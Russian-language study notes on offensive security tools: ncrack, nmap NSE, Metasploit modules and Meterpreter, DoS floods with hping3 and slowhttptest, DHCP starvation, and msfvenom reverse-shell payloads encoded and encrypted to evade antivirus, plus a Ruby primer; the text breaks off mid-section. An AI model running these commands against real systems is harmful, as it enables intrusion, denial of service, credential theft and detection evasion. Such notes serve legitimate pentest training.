ncat Выполнение внешних команд различными способами после успешного установления соединения. Одним из способов является использование Lua-скриптов, которые действуют как программы и позволяют пользователям выполнять любые задачи.

ncat --lua-exec <path to Lua script> --listen 80

--sh-exec выполняет консольные команды

Ncrack взлом простых паролей

<[service-name]>://<target>:<[port-number]>

ncrack ssh://<target>:<port>

-U файлы логинов
-P файлы паролей
ncrack --save cracking-session <[service-name]>://<target>:<[port-number]> сохранить незавершенный процесс
ncrack --resume cracking-session <[service-name]>://<target>:<[port-number]> продолжить

Rainmap Lite запуск сканирования из браузера

Уязвимости сетевых сервисов

NMAP Script Engine (NSE)

Расширение функционала за счет LUA скриптов. Запуск всех скриптов в соответствии с правилами внутри: 

nmap -sC <target>

Размещение скриптов

/usr/share/nmap/scripts Можно вывести названия скриптов командой 

ls /usr/share/nmap/scripts/

Типы скриптов

Количество выполняемых скриптов зависит от правил хоста или порта для этих скриптов. 

auth Скрипты, связанные с авторизацией пользователя
broadcast Широковещательные запросы
brute Брутфорс паролей
default Скрипты, выполняемые по умолчанию
discovery Поиск хостов и сервисов
dos Атака dos
exploit Скрипты, использующие уязвимости для атаки
external Зависящие от каких-либо сервисов
fuzzer Генераторы случайных последовательностей
intrusive Могут уронить или сгенерировать большой сетевой трафик
malware Скрипты, связанные с обнаружением вредоносных программ
safe Безопасные
version Определение версий
vuln Скрипты, связанные с уязвимостями в системе безопасности

Некоторые скрипты требуют настройки.

nmap --script script_name <target> запуск определенного скрипта. Имя скрипта или путь к папке с расширениями
nmap --script http-title --script-args http.useragent="Mozilla 999" <target> --script-args настраивает параметры скрипта

nmap -sV --script vuln <target>

nmap -sV --script="version,discovery" <target>

 Определенная категория
nmap -sV --script "not exploit" <target> Исключая категорию
nmap -sV --script "(http-*) and not(http-slowloris or http-brute)" <target>

Трассировка выполнения скрипта

nmap -sC --script-trace <target> Простая трассировка
-d[1-9] Увеличение уровня выводимых сообщений

Добавление нового скрипта:

Либо указать путь напрямую 

nmap --script /root/loot/nonofficial.nse <target>

Библиотека скриптов вне основной поставки

Скрипты в поставке

Броадкастовые скрипты

broadcast-avahi-dos

Ищет хосты через DNS service discovery protocol и отправляет NULL UDP пакеты каждому найденному для проверки возможности DOS
broadcast-db2-discover Ищет DB2 серверы через запрос на 523/udp
broadcast-dhcp-discover Поиск DHCP сервера с использованием статического адреса DE:AD:CO:DE:CA:FE
broadcast-dns-service-discovery Поиск DNS серверов через DNS-SD запросы
broadcast-dropbox-listener Прослушивает сеть и ждет бродкастов от dropbox клиентов (раз в 20 секунд запросы)
broadcast-listener Прослушивает сеть и ждет бродкасты. Пытается разобрать и вытащить данные.
broadcast-ms-sql-discover Поиск Microsoft SQL серверов
broadcast-novell-locate Поиск NCP серверов
broadcast-ping Бродкастовый пинг с выводом IP и MAC Нужны привилегии.
broadcast-netbios-master-browser Поиск NetBios доменов
broadcast-rip-discover Отправляет RIPv2 запросы и определяет хосты на которых это крутится
broadcast-upnp-info Поиск UPnP хостов
broadcast-wsdd-discover Поиск хостов с поддержкой WS-Discovery протокола. Также определяет WCF (.NET 4.0+).
lltd-discovery Использует Microsoft LLTD протокол для поиска хостов
targets-sniffer Слушает сеть 10 секунд и выводит найденные адреса

Уязвимости сетевых сервисов

SMB VNC SMTP

Samba

Есть модуль 

auxiliary/scanner/smb/smb_login

Позволяет перебирать пароли для подсети. Можно перебирать один пароль или все пароли из таблицы creds.

VNC scanner

Позволяет искать VNC серверы без авторизации в подсети. 

auxiliary/scanner/vnc/vnc_none_auth

SMTP

Модуль auxiliary/scanner/smtp/smtp_enum проверяет версию сервера и пытается использовать список логинов и паролей для авторизации.

SSH

auxiliary/scanner/ssh/ssh_enumusers берет список имен пользователей и проверяет, есть ли такие пользователи. Низкая вероятность корректной работы.

ssh_version 

detect_kippo Определяет, является ли это настоящим ssh сервером или сервисом поиска нарушителей. 

RDP

Проверка на уязвимость use auxiliary/scanner/rdp/ms12_020_check

Уязвимости сетевых сервисов

Прослушивание паролей

msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > run

Работает из коробки, без доп. настроек. Пассивное ожидание паролей.

Уязвимости сетевых сервисов

DOS

DOS общего назначения

sudo hping3 --flood -S -p 80 192.168.86.1
-S SYN пакет
Скорость генерации пакетов
-i  --interval  
      --fast псевдоним -i u10000
      --faster псевдоним -i u1000
      --flood		 ожидание (uX это X микросекунд, -i u1000). flood максимально возможная скорость генерации пакетов.
Целевая система
[IP] или [HOST]
-p [PORT]
--rand-source генерится случайный источник

LAND атака: sudo hping3 -S -p 80 192.168.1.1 -a 192.168.1.1

inviteflood DOS VoIP протокола sudo inviteflood eth0 kilroy dummy.com 192.168.86.238 150000

t50  192.168.1.1 --protocol IGMPv1 --flood -B

DOS web сервера

Slowloris: удержание большого количества открытых соединений с веб-сервером. Вместо переполнения инструмент атаки поддерживает соединение с сервером открытым, отправляя небольшие объемы данных на протяжении длительного времени. 

Apache Killer: отправка байтов в виде перекрывающихся фрагментов. В ходе безуспешных попыток собрать эти фрагменты воедино веб-сервер исчерпывает всю доступную память. 

slowhttptest реализовывает четыре HTTP-атаки: Slowloris (илиSlow Headers), атаку R-U-Dead-Yet (или Slow Body), атаку Apache Killer (или атака с помощью заголовка Range) и атаку Slow Read. 

slowhttptest -H -u http://192.168.1.15

Атаки на DHCP

Протокол DHCP предусматривает тестовую программу под названием DHCPig, которая представляет собой еще одну атаку, направленную на исчерпание ресурсов DHCP-сервера. На практике атака может использоваться для получения контроля над сетевым трафиком. В ходе этой атаки злоумышленник расходует весь пул доступных IP-адресов и в то же время запускает собственный DHCP-сервер, который может перенаправлять трафик системы на контролируемый им же DNS-сервер. 

sudo dhcpig -l eth0

Scapy 

Интересный пакет для генерации пакетов. Можно как генерировать сырые пакеты, так и подгружать слои настройки и настраивать отдельно.

Metasploit

Metasploit

Общая информация

Бесплатный курс от разработчика MSF

Для обучения предлагается использовать metasploitable - виртуальную машину с набором уязвимостей.

Дополнительные инструменты для работы:

Структура фреймворка:

изображение.png

В Kali обычно установлен в /usr/share/metasploit-framework Модули расположены в директории modules, плагины - в plugins.

Auxiliaries: небольшие вспомогательные утилиты. Более 1000.

Payloads: нагрузка. Singles (однократная)- все в одном. Контейнер, содержащий все что нужно. Недостаток - размер. Stagers (минимальная) - только поднимает соединение, больше ничего нет. Stages - скачиваемый код после установки соединения. 

Exploits: более 2500, в 19 категорий. Для выбора необходимо знать операционную систему (включая точную версию и архитектуру), открытые порты, сервисы (включая версии).

Encoders: обфускация кода. Около 10 категорий.

NOP: отсутствие команды. Модифицирует эксплоит для снижения вероятности обнаружения

Post: модули дальнейших действий после взлома системы. 

Evasion: большинство нагрузок и шелл-кодов определяются антивирусом. Этот модуль для дополнительной модификации.

Команды

Общие команды

connect ip:port Пробное соединение
route Управление маршрутами.
save Сохраняет установленные параметры

Работа с модулями

search <sometext>

 Поиск эксплойта по имени. Поддерживает регулярки. Можно комбинировать несколько, по И правилу. 
search apache struts2 showcase

Можно ограничить поиск по именам модуля

msf > search name:mysql

Возможные ограничения: 

  • name - имя модуля
  • type - тип модуля
use <path> Перейти в модуль. Например, модуль сканирования портов:  
msf > use auxiliary/scanner/portscan/tcp
info Информация об эксплойте
show options Показать требуемые данному модулю параметры.
set <parameter> / unset Устанавливает локальное значение параметра / Убирает
get <parameter> Вывести параметр
getg Вывести глобальное значение параметра
setg Устанавливает глобальное значение параметра
run !Если это модуль! Запускает модуль с установленными параметрами
check Проверка настроек
exploit !Если это эксплоит! Запуск эксплойта
back Вернуться назад

История и команды

spool

off отключает логгирование результатов в файл

filepath включает логгирование в файл
makerc

Сохраняет вводимые команды. Аналогично spool

Функционал:

Дополнительные утилиты

msf-exe2vbs Конвертирует exe в VBScript
msf-exe2vba Можно выполнить даже в Excel
msf-pdf2xdp Pdf в xdp
msf-pattern_create Быстрое создание паттернов
msf-virustotal Проверка зловреда на virustotal

Metasploit

Управление данными

База данных

В Kali запускаем postgresql и инициализируем базу данных. Создадутся базы msf и msf_test.

root@kali:~# systemctl start postgresql
root@kali:~# msfdb init

Управление данными

db_status Статус соединения с базой
db_connect Подключиться к бд. Без параметров - к локальной. Может быть удаленная  
db_connect <user:[pass]>@<host:[port]>/<database>
db_disconnect Отключение
db_export -f <format> [filename] Сохранение данных в файл. Формат xml или pwdump
db_import file1 [file2...] Импорт данных из файла. Может быть импорт в виде *.xml, или **/*.xml
db_rebuild_cache Пересчет кэша 

Рабочее пространство. Способ организации хранения связанных данных. 

workspace Список пространств. * текущее.
workspace -a Создать новое
workspace <name> Переключиться на рабочее пространство name
workspace -d Удалить

Таблицы

hosts

Обнаруженные хосты. IP-адрес, MAC-адрес, имя хоста, ОС, состояние, комментарии
services Сетевые сервисы. Порт, протокол (TCP/UDP), состояние (open/closed), имя сервиса, версия
vulns Уязвимости. Название, описание, ссылки, критичность, доказательства
notes Дополнительная информация о хостах и сервисах. Содержит Различные данные (учетные записи, собранная информация)
loot Извлеченные данные. Содержит: Хеши паролей, конфигурационные файлы, личные данные
creds Учетные данные для аутентификации. Содержит: Логины, пароли, хеши, тип аутентификации
workspaces Разделение проектов/задач
clients Клиентские системы. Содержит: Данные о браузерах, пользовательских агентах
events События. Содержит: Действия, выполняемые в рамках тестирования
exploited_hosts Успешные эксплуатации. Содержит: Данные о взломанных системах
sessions Открытые сессии. Содержит: Активные соединения с скомпрометированными системами
web_sites Веб-сайты. Содержит: URL, виртуальные хосты, SSL-информация
web_pages Веб-страницы. Содержимое страниц, формы, ссылки
web_forms HTML-формы. Поля форм, методы отправки
web_vulns XSS, SQLi, и другие веб-уязвимости

Ручное добавление данных: сначала создать объект, затем модифицировать его. 

msf > hosts -a 192.168.0.1
msf > hosts 192.168.0.1 -m "first node"
msf > hosts

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
192.168.0.1                                                       first node

Как я понял, ручное добавление нечасто используется. 

Фильтрация

Ключ -S <term> Например 

msf > hosts -S 0.1

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
192.168.0.1                                                       first node

При фильтрации важно указывать колонки -c поскольку поиск полнотекстовый.

Использование данных

В свойствах таблицы есть параметр, который можно использовать в инструментах/... Например, в таблице hosts есть параметр RHOSTS. 

msf > hosts -h
...
OPTIONS:
...
    -R, --rhosts                           Set RHOSTS from the results of the search
...

Это означает, что в случае использования в инструментах параметра RHOSTS его можно заполнить данными из БД. Пример запуска инструмента для хостов, отфильтрованных по 127. Параметр -R добавляет данные в параметр RHOSTS.  

msf > hosts
Hosts
=====
address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
127.0.0.1
192.168.0.1                                                       first node

msf > use auxiliary/scanner/portscan/tcp 

msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        22               yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(scanner/portscan/tcp) > hosts -c address -S 127 -R

Hosts
=====

address
-------
127.0.0.1

RHOSTS => 127.0.0.1

msf auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        22               yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

msf auxiliary(scanner/portscan/tcp) > run
[*] 127.0.0.1             - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Сохранение данных в CSV

msf > hosts -S Linux -o /root/msfu/linux.csv

Архивация и восстановление данных

Архив: 

# В msfconsole
db_export -f xml full_backup.xml
# или
db_export -f json full_backup.json

Восстановление: 

db_import full_backup.xml

 

 

 

Metasploit

Exploits

Книга Metasploit: The Penetration Tester's Guide

Эксплоит — программа, эксплуатирующая уязвимости в системе. Примеры эксплоитов для модификации в разделе documentation/samples/modules/exploits/

Есть скрипт auto_pwn для автоматического поиска эксплойтов для существующих в базе хостов и известных служб.

 

Metasploit

Payloads

Проверять на https://virustotal.com

Нагрузка (payload) — часть эксплойта, выполняющаяся после успешной эксплуатации уязвимости. Типы нагрузок: 

Например, windows/shell_bind_tcp представляет собой единую полезную нагрузку без этапа, тогда как windows/shell/bind_tcp состоит из этапа (bind_tcp) и этапа (shell).

Генерация полезной нагрузки

Переходим в payload. Генерация командой generate. Опции: 

-E Ускоренное кодирование
-b Список символов для исключения '\x00\xff'. Например  
msf  payload(shell_bind_tcp) > generate -b '\x00'

При большом наборе исключаемых символов возможна ошибка "Payload generation failed: No encoders encoded the buffer successfully.". Это означает, что не найден энкодер для данного набора.
-e Энкодер По умолчанию происходит автоматический поиск наиболее подходящего энкодера. Выбор зависит от списка символов для исключения.
-i Количество итераций энкодера.
-o Разделенные запятыми параметры в виде парам=знач
-p Платформа
-s Количество добавляемых NOP
-f Имя файла. По умолчанию вывод в консоль.
-t Формат выходного файла: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-x Шаблон используемого исполняемого файла
-k Сохранять функциональность используемого шаблона


 

Metasploit

Meterpreter

Динамически расширяемая нагрузка, использующая инъекцию в dll в памяти. Работает через сокет. Алгоритм работы:

Особенности:

Консоль meterpreter

Отдельная консоль для управления скомпроментированной системой. Команды:

Управление и исполнение файлов

cat Отображение файла
cd, pwd Переход и отображение текущей папки
execute Выполнить команду на системе
download Скачивает файл с скомпроментированной машины
upload Закачивает файл на удаленную машину
edit Редактирование файла на 
lpwd, lcd Отображение и смена рабочей директории
ls Список файлов и директорий
search поиск файлов


Сессия и система

background Перевод сессии в фон и возврат в консоль MSF. Для восстановления нужно подключиться к сессии  
msf>sessions -i 1
ipconfig Конфигурация сети
idletime Время работы системы
migrate Мигрировать на другой процесс
ps Список процессов
shell Удаленная консоль

Windows-специфические команды

hashdump Дамп базы паролей Windows
clearev Очистка логов журналов Application, System, and Security на Windows


Web камера

webcam_list Список web камер
webcam_snap Фото с камеры

Интерпретатор python

load_python Загрузить интерпретатор
python_import Импортировать модуль
python_execute Выполнить скрипт
python_reset Сброс интерпретатора

 

 

 

 

 

Metasploit

Автоматизация MSF

Ресурсные скрипты

Аналог bash скриптов для msf. Текстовые файлы с расширением rc, выполняются консолью msf построчно. Можно создать скрипт из введенных команд 

Запуск

Из существующего где-то файла: 

msfconsole -r /path/to/script/attack.rc param1 param2

Их скрипты размещаются в /usr/share/metasploit-framework/scripts/resource

msf > resource /path/to/script param1 param 2

Можно сохранить последние введенные команды. ! ~ не работает, нужен полный путь ! 

msf > makerc /home/kali/lessons_ruby/myscript.rc

makerc запоминает, какие команды уже были сохранены. Поэтому если сразу же повторить предыдущую команду, то будет сообщение [-] No commands to save! 

Добавление Ruby

В данные скрипты можно добавлять скрипты на Ruby: 

workspace -a http_title
db_nmap -Pn -T4 -n -v -p 80 --open 192.168.33.0/24
use auxiliary/scanner/http/title
<ruby>
run_single("set RHOSTS #{framework.db.hosts.map(&:address).join(' ')}")
</ruby>
run

Скрипты расположены в /usr/share/metasploit-framework/scripts/resource 

Вариант для python:

pip install pymetasploit3

Пример скрипта:

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('your_password', port=55553)

# Запуск сканирования
scan = client.modules.use('auxiliary', 'scanner/portscan/tcp')
scan['RHOSTS'] = '192.168.1.1-100'
scan['PORTS'] = '1-1000'
scan['THREADS'] = '20'

result = scan.execute()
print(result)

# Получение результатов из БД
for host in client.db.hosts():
    print(f"Host: {host['address']}")
    for service in client.db.services(host['address']):
        print(f"  Port: {service['port']}/{service['proto']} - {service['state']}")

Metasploit

Ruby

Установка: apt install ruby-full

rbenv - 

Все объекты. Без аргументов функция не требует наличия скобок. Доступа к свойствам объекта нет, через методы. Динамическое типизирование. 

1.class # Выводит класс объекта, в данном случае Fixnum

Типы данных

Целые числа

3.times {print "r"} повтор действия 3 раза
1.upto(9) { |x| print x }  вывод 123456789 

Строки. Одинарные кавычки - все символы, в двойных можно подставлять значения.

Многострочный текст

message = <<~TEXT
  This is a multi-line string
  that preserves formatting
  in a tidy way.
TEXT

Есть символы (Symbols) - строки, но фиксированные. Начинаются с :. Например :fucktheruby. Используются в ключах словарей для быстрого доступа.

Массивы (аналог списков python)

a[1] - обращение к 1 элементу массива.

a = [3, 2, 1]
a.each do |elt|
  print elt + 1
end

a.each Для каждого элемента
a,map {} Изменение массива по правилам.  
b = a.map { |x| x*x } # Возведение в квадрат каждого элемента
a.select выбор элементов в соответствии с правилами.  
b = a.select { |x| x%2==0 }

Хэши Аналог словарей в python.

h = {
  :one => 1,
  :two => 2
}
h[:one]
h.each do |key, value| 
 print "#{value} у ключа #{key} " # выведет 1 у ключа one 2 у ключа two 
end

instrument_section = {
"cello" => "string",
"clarinet" => "woodwind",
"drum" => "percussion",
"oboe" => "woodwind",
"trumpet" => "brass",
"violin" => "string"
}

Блядь, если использовать такой синтаксис, то оно создаст ключ Symbol.
instrument_section = {
cello: "string"
}
x = instrument_section[:cello]

Методы

print 

puts

 Вывод значений

ARGV[0]

 Первый аргумент при вызове скрипта

Операторы

x = 1
x, y = 1, 2
x += 1
1..3 # набор значений от 1 до 3
1...3 # набор значений от 1 до 2
generation = case birthyear
              when 1946..1963: "Поколение 1"
              else nil
              end
# Регулярки
def areyoushure?
  while true
    print "Вы уверены"
    response = gets 
    case response
      when /^[Yy]/
        return true
      when /^Nn/, /^$/
        return false
      end
  end
end

line = gets
if line =~ /Ruby|Rust/
puts "Programming language mentioned: #{line}"
end

line = gets
if line.match?(/Ruby|Rust/)
puts "Scripting language mentioned: #{line}"
end

line = gets
newline = line.sub(/Python/, 'Ruby') # replace first 'Python' with 'Ruby'
newerline = line.gsub(/Python/, 'Ruby') # replace every 'Python' with 'Ruby'

Условные операторы 

today = Time.now
if today.saturday?
puts "Do chores around the house"
elsif today.sunday?
puts "Relax"
else
puts "Go to work"
end

puts "Danger, Will Robinson" if radiation > 3000

Блоки. Без комментариев. Являются аргументами для методов. 

def call_block
puts "Start of method"
yield
yield
puts "End of method"
end
call_block { puts "In the block" }

Выведет:
Start of method
In the block
In the block
End of method

В | | передаются параметры блока. Например 

def who_says_what
yield("Dave", "hello")
yield("Andy", "goodbye")
end
who_says_what { |person, phrase| puts "#{person} says #{phrase}" }

Похоже 

Классы

Все классы расширяемы внутри приложения. Термин Instance = Object

.new Конструктор объекта.

Методы (функции) Если это вне класса, то глобальная функция. Возвращает последнее вычисляемое значение. 

def square(x)
  x*x
end

def multireturn
  x, y = 1,2
  [x, y]
end

Если метода нет, вызывается специальный метод method_missing. По умолчанию исключение. Его можно переопределить. 

class Greeting
  def method_missing(name, *args)
    "Привет из #{name}"
  end

  def respond_to_missing?(name, include_private = false)
    true
  end
end

g = Greeting.new
g.respond_to?(:hello)   # => true
puts g.hello            # => "Привет из hello"

Префиксы и постфиксы. Вроде упрощает язык, но походу хуета на уровне выебнуться. Отказались от одного, ввели другое.

Имена классов, модулей и констант с большой буквы. Локальные переменные, параметры методов и имена методов только с маленькой буквы. Глобальные переменные - префикс $. переменные объекта - @, переменные класса - @@

Если имя метода заканчивается на равно, то можно использовать синтаксис 

# некий класс, в котором есть метод x= и нужно туда передать значение 1
o.x=(1) # как оно обычно вызывается
o.x = 1 # так тоже можно. Типа крутая фича. Закрыли свойства, зато сделали ЭТО

На знак вопроса - возвращается только булево значение

На восклицательный знак - метод меняет объект. Например метод .sort массива возвращает отсортированный массив, тогда как метод .sort! сортирует существующий объект.

Синглтоны - методы, добавляемые к существующему классу или единичному объекту. (Ебанутая херня, хотя позиционируется как ключевая).  

def Math.square(x)
  x*x
end

Описание класса

Пример класса, создающего элементы с шагом. 

class Sequence
  include Enumerable

  def initialize(from, to, delta)
    @from, @to, @delta = from, to, delta
  end

  def each
    x = @from
    while x <= @to
      yield x
      x += @delta
      end
  end

  def length
    return 0 if @from > @to
    Integer((@to - @from)/@delta) + 1)
  end

  alias size length # алиас на метод size

  def [](index) # переопределение метода получения доступа к элементам массива
    return nil if index < 0
    v = @from + index * @delta
    if v <= @to
      v
    else
      nil
    end
  end

  def *(factor) # переопределение операции умножения над объектом
    Sequence.new(@from*factor, @to*factor, @delta*factor)
  end

Модули

Набор функций.

module Sequence
  def self.fromtoby(from, to, delta)
    x = from
    while x <= by
      yield x
      x += delta
      end
  end
end

Metasploit

MSFvenom & nasm

Offensive Shellcode from Scratch: Get to grips with shellcode countermeasures and discover how to bypass them

 

Консоль nasm служит для получения opcode для команд. 

MSFvenom

Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится. 

Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его. 

x86/shikata_ga_nai - часто используемый, универсальный энкодер.

Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров:

# пример: зашифровать RC4 и задать ключ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  --encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe

# пример AES (названия алгоритмов зависят от версии msfvenom)
msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin

Важные нюансы и ограничения

Проверка

Шифрование и кодирование может применяться вместе. 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 \
  --encrypt rc4 --encrypt-key 'mysecret' \
  -b '\x00\x0a\x0d' -f exe -o payload.exe

Просмотр информации


-l, --list <type>

Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all 

msfvenom -l platforms # список платформ под которые что-то есть

Можно дополнительно фильтровать по свойствам:

--platform платформа

--arch архитектура

msfvenom -l payloads --platform bsd --arch x86
--list-options

Список опций для данной нагрузки. 

msfvenom --payload bsd/x86/metsvc_bind_tcp --list-options
Настройка нагрузки
-p, --payload <payload> Нагрузка для использования
-t, --timeout <second>

Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN.

cat payload.bin | msfvenom -p - -t 10 -f raw -o out.bin

То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо). 
-s, --space <length> Максимальный размер результирующей нагрузки. 




Настройка энкодера
-e, --encoder <encoder> Используемый энкодер.
--encoder-space <length> Максимальный размер закодированной нагрузки, по умолчанию значение -s
--smallest Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e.
-i, --iterations <count> Количество проходов энкодера
-b, --bad-chars <list>

Набор байтов (символов), которые нужно избегать в сгенерированном shellcode.

  • Нуль-байт \x00 и другие символы могут обрываться строковые функции в целевой программе (строка/буфер) — тогда шеллкод не выполнится.
  • Фильтры/функции ввода на стороне цели могут удалять или преобразовывать некоторые байты (например \x0a — LF, \x0d — CR).
  • Некоторые протоколы/форматы не допускают определённые байты (URL, текстовые поля, параметры командной строки и т.п.).

Как указывать

Примеры в bash: 

msfvenom -p ... -b '\x00\x0a\x0d' -f raw -o payload.bin

Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование).

 

В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат.

Ограничения.

  • Не всегда возможно устранить все указанные байты: при строгом наборе запрещённых символов или при слишком большом payload'е msfvenom может не найти рабочую комбинацию — тогда появится ошибка или payload не соберётся.
  • --bad-chars применим к raw шеллкоду; при генерирации exe, apk и вставке payload в контейнерный формат, дополнительные байты могут появиться в заголовках/шаблоне — их тоже надо учитывать.
  • Ограничение увеличивает размер шеллкода и уменьшает количество доступных энкодеров.
  • Нельзя запретить «символы многобайтовой архитектуры» — вы указываете конкретные байты 0x00..0xff.

Проверка результата

#!/usr/bin/python3
bad = {0x00, 0x0a, 0x0d}
data = open('payload.bin','rb').read()
found = sorted(set(b for b in data if b in bad))
print([hex(x) for x in found] or "No bad chars found")

Советы

  • Начинайте с минимального набора 
  • Если msfvenom не справляется, пробуйте другой энкодер или комбинацию энкодеров/итераций (-i).
  • Для текстовых ограничений есть специализированные «алфавитные»/ASCII-энкодеры (например alpha2) — они создают шеллкод, содержащий только допустимые символы, но это сильно увеличивает размер.

Часто используемый минимум

  • \x00 — нуль-байт: обрывает C-строки / строки в многих API.
  • \x0a — LF (line feed, \n): завершает строку в текстовых вводах/протоколах.
  • \x0d — CR (carriage return, \r): вместе с LF важен в протоколах; часто фильтруется.

Это самые распространённые, их почти всегда добавляют в --bad-chars.

Дополнительные байты в зависимости от вектора

  • В командной строке / аргументах процесса \x20 (space), \x22 ("), \x27 ('), \x5c (\)  пробел и кавычки могут ломать парсинг аргументов или экранирование.
  • В HTTP / URL контекстах \x2f (/), \x3f (?), \x26 (&), \x3d (=), \x25 (%), \x2b (+)  специальные символы в URL/GET-параметрах; некоторый ввод URL-энкодируется.
  • В файлах путей / файловых полях \x2f (/), \x5c (\), \x3a (:) — разделители путей, двоеточие и т.п.
  • В XML / HTML < (\x3c), > (\x3e), & (\x26), " (\x22), ' (\x27) — могут испортить разметку или вызвать экранирование.
  • В SQL-контекстах ' (\x27) — закрывает строки в SQL; также ; (\x3b) — разделитель команд.
  • В Base64 / MIME / почтовых полях = (\x3d) — padding в Base64, \r\n последовательности — важны для заголовков.
  • В текстовых полях, где обрезают по контрол-символам \x00.. \x1f (контролы: NUL, BEL, TAB, ESC и т.д.) — часто фильтруются или воспринимаются как спецсимволы. Особенно: \x09 (TAB) может вести себя непредсказуемо.

Специальные случаи и алфавиты

  • Алфавитные (alpha) ограничения: иногда доступен только набор печатных ASCII (A–Z, a–z, 0–9). Для таких случаев есть специальные энкодеры (alpha_upper, alpha_mixed), но размер растёт.
  • Unicode/UTF-16: если приложение принимает UTF-16, нужно учитывать нулевые байты между символами (и т.д.).
Настройка шифрования


--encrypt <value>

Тип шифрования payload
--encrypt-key <value>

Ключ шифрования
--encrypt-iv <value>

Вектор инициализации для шифрования.
NOP


-n, --nopsled <length>

Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода.


Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код.

Зачем нужен

  • При эксплойтах часто точно угадать адрес сложно; NOP‑sled даёт запас: управление может «упасть» в любую точку sled‑а и «скольжением» дойти до реального шеллкода.
  • Удобно для тестов/демо и в ситуациях, где вы вклю́чаете payload в нестабильный буфер.

Пример использования (вставляем 64 байта NOP перед payload): 

msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 -f raw -n 64 -o payload.bin

В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload.

Важные нюансы

  • Размер. NOP‑sled увеличивает итоговый размер payload — учитывайте ограничения целевого буфера.
  • bad‑chars. Байты, используемые для NOP‑sled, тоже должны не попадать в --bad-chars; иначе sled будет содержать запрещённые символы.
  • Архитектура. NOP‑инструкция зависит от архитектуры (x86/x64/ARM и т.д.). msfvenom подставляет подходящую «nop» по умолчанию.
  • Альтернативы NOP. В ограниченных алфавитах часто используют «полезные» sled‑паттерны (например series of short jumps, INC/DEC tricks или специальные „NOP–генераторы“), потому что обычный \x90 может быть запрещён.
  • Выравнивание. В некоторых сценариях важна выравненность инструкций (особенно на ARM/Thumb) — просто добавлять байты вслепую — риск; проверяйте на целевой архитектуре.
  • Не панацея. NOP‑sled помогает только при нестрогом контроле адреса; в ряде случаев лучше управлять точным возвратом/переписыванием указателей.

Проверка 

#!/usr/bin/python3
data = open('payload.bin','rb').read()
print(data[:16].hex())   # покажет первые 16 байт (должны быть NOP)
--pad-nops

Использует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки).
Дополнительные настройки
--platform <platform> Платформа для payload
-a, --arch <arch> Архитектура для payload или encoders
--service-name <value> Имя сервиса при генерации бинарника для сервиса.
-v, --var-name <value>

Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл.

Когда применяется

  • Для генерирующих исходный код форматов (C, Python, Ruby, Perl, PowerShell и др.).
  • Не применимо для бинарных форматов вроде raw, exe (в смысле имени переменной — там нет переменной в коде).

Примеры

C:

